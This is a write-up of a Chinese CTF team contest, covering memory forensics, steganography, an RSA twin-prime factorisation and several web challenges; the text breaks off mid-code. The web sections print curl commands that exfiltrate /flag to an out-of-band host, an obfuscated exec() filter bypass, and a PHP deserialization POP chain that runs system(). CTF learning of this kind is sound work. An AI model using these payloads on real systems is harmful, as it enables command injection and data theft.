概述
本篇内容
MISC:
Keyboard
透明度
Crypto:
Gemini_Man
Web:
简单的计算题1
简单的计算题2
phpuns
Reverse:
easy_maze
上一篇 | 目录 | 下一篇
刚打了DASCTF六月团队赛,情况虽不是很理想,但也记录一下团队解题情况。
Keyboard
尝试了很久发现没思路,搜索一下,发现是安恒DASCTF 四月战原题,甚至连flag
都没变。
//查找含“keyboard”的文件
volatility -f Keyboard.raw --profile=Win7SP1x64 filescan | grep keyboard
//将t.txt提取出来,-Q是偏移量,-D是存储的文件夹
volatility -f Keyboard.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003d700880 -D ./
查看file.None.0xfffffa8004cefa80.dat
文件内容
root@Kali:~ # cat file.None.0xfffffa8004cefa80.dat
2020- 3-29 22:35:25
[BP][BP][BP][BP]hhhhh flag is not n[BP]here
2020- 3-29 22:35:30
2020- 3-29 22:36:41
ctfwikiCRYPTO ABC
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
2020- 3-29 22:37:23
[BP][BP]decrypto hou xiao xie geng[BP][BP] yi kan chu
2020- 3-29 22:39:24
But the password is in uppercase
2020- 3-29 22:38:55
a
由ctfwikiCRYPTO
可知在ctfwiki里去查找,解密方式为
解密得到密码KEYBOARDDRAOBYEK
密文:CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
明文:VERACRYPTPASSWORDISKEYBOARDDRAOBYEK
小写:veracrypt password is keyboarddraobyek
使用VeraCrypt
软件打开Secret
,此软件下载地址为https://www.veracrypt.fr/en/Downloads.html。
点击“Mount”挂载后需要我们输入刚才得到的密码
OK后本机就会多一个盘符G
,里面是一个虚拟磁盘here.vhd
打开计算机管理
,在磁盘管理
处右键附加VHD
,就会再多一个盘符H
。
里面有个假的flag
NTFS隐写
,使用NtfsStreamsEditor2
工具打开得到flag
flag为4a02f6dc603c377a234df479609d237c
。
透明度
使用StegSolve
隐写工具打开,发现Alpha plane7
至Alpha plane 0
有异常
分析一下,Analyse
->Data Extract
,结果如下:
发现是zip压缩包,直接Save Bin
保存为zip,解压发现需要密码。
由密码是nep__.txt
可知爆破即可,得到密码nepnb
。
查看得到flag。
flag为a22a96d7fc5dfd2182c593630851e44fed0adbe6
。
Gemini_Man
题目一开始的提示是简单孪生素数生成的N的分解
。
百度了一下孪生素数:
孪生素数就是指相差2的素数对,例如3和5,5和7,11和13…。
素数对(p,p+2)称为孪生素数。
此题已知N、C
,可知是个RSA的题目。
也就是N = p(p+2)
,N+1 = p(p+2)+1=p^2+2p+1=(p+1)^2
。
即对N+1
开方的值就是p+1
。
使用Python写个脚本跑出p+1
来
import math
import gmpy2
f1 = open('N.txt')
f2 = open('p.txt','w')
n = int(f1.read()) + 1
p = gmpy2.iroot(n, 2)
f2.write(str(p))
f1.close()
f2.close()
得到p、q
如下:
617951......154111 //此处的......省略了几万个数字
617951......154113 //此处的......省略了几万个数字
e
的值题目没给,就用默认的65537
,跑RSA脚本:
import gmpy2 as gp
import binascii
f = open('res.txt','a+')
#同样的,此处的......省略了几万个数字
p = 617951......154111
q = 617951......154113
e = 65537
c = 129592......625910
p = gp.mpz(p)
q = gp.mpz(q)
e = gp.mpz(e)
c = gp.mpz(c)
n = p*q
def fastExpMod(c, d, n):
result = 1
while d != 0:
if (d&1) == 1:
# di = 1, then mul
result = (result * c) % n
d >>= 1
# c, c^2, c^4, c^8, ... , c^(2^n)
c = (c*c) % n
return result
phi = (p-1) * (q-1)
d = gp.invert(e, phi)
f.write('d='+str(d))
m = fastExpMod(c,d,n)
f.write('nnm='+str(m))
f.write('nnhex(m)[2:]='+hex(m)[2:])
f.write('nnbytes.fromhex(hex(m)[2:])='+str(bytes.fromhex(hex(m)[2:])))
f.close()
脚本跑了一个晚上,终于跑出了结果
flag为e540b1fd7d4459619eecd244c12ae5c4
。
简单的计算题1
目前题目不能访问,记录一下思路:
能执行命令,但是没有回显,使用外带通道,借助CEYE平台。
os.system('curl xxxx.ceye.io/`cat /flag`')
后来这道题目整改了,好像此payload不能用了。
简单的计算题2
目前题目不能访问,记录一下思路:
能执行命令,但是没有回显,使用外带通道,借助CEYE平台。
过滤了os、system
之类的,借助exec()函数。
exec('o'+'s'+'.sy'+'stem("curl xxxx.ceye.io/`cat /flag`")')
phpuns
index.php
:
<?php
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'] ;
$user = new User($username, $password);
$_SESSION['info'] = add(serialize($user));
redirect('info.php');
}
class.php
:
<?php
class User{
protected $username;
protected $password;
protected $admin;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
$this->admin = 0;
}
public function get_admin(){
return $this->admin;
}
}
class Hacker_A{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function __destruct() {
if(stristr($this->c2e38, "admin")===False){
echo("must be admin");
}else{
echo("good luck");
}
}
}
class Hacker_B{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function get_c2e38(){
return $this->c2e38;
}
public function __toString(){
$tmp = $this->get_c2e38();
$tmp();
return 'test';
}
}
class Hacker_C{
public $name = 'test';
public function __invoke(){
var_dump(system('cat /flag'));
}
}
pop链分析:
在Hacker_A中,__destruct()方法里将$this->c2e38与“admin”比较,触发Hacker_B的__toString();
在Hacker_B中,__toString()方法里通过调用get_c2e38()方法获取了$c2e38属性,并作为方法调用$tmp(),进而触发Hacker_C的__invoke()方法;
在Hacker_C中,__invoke()方法里的system('cat /flag'),执行得到flag
构造pop链:
$c = new Hacker_C();
$b = new Hacker_B($c);
$a = new Hacker_A($b);
print_r(serialize($a));
得到:
O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}
接着看functions.php
:
<?php
function redirect($path)
{
header('Location: ' . $path);
exit();
}
function add($data)
{
$data = str_replace(chr(0).'*'.chr(0), '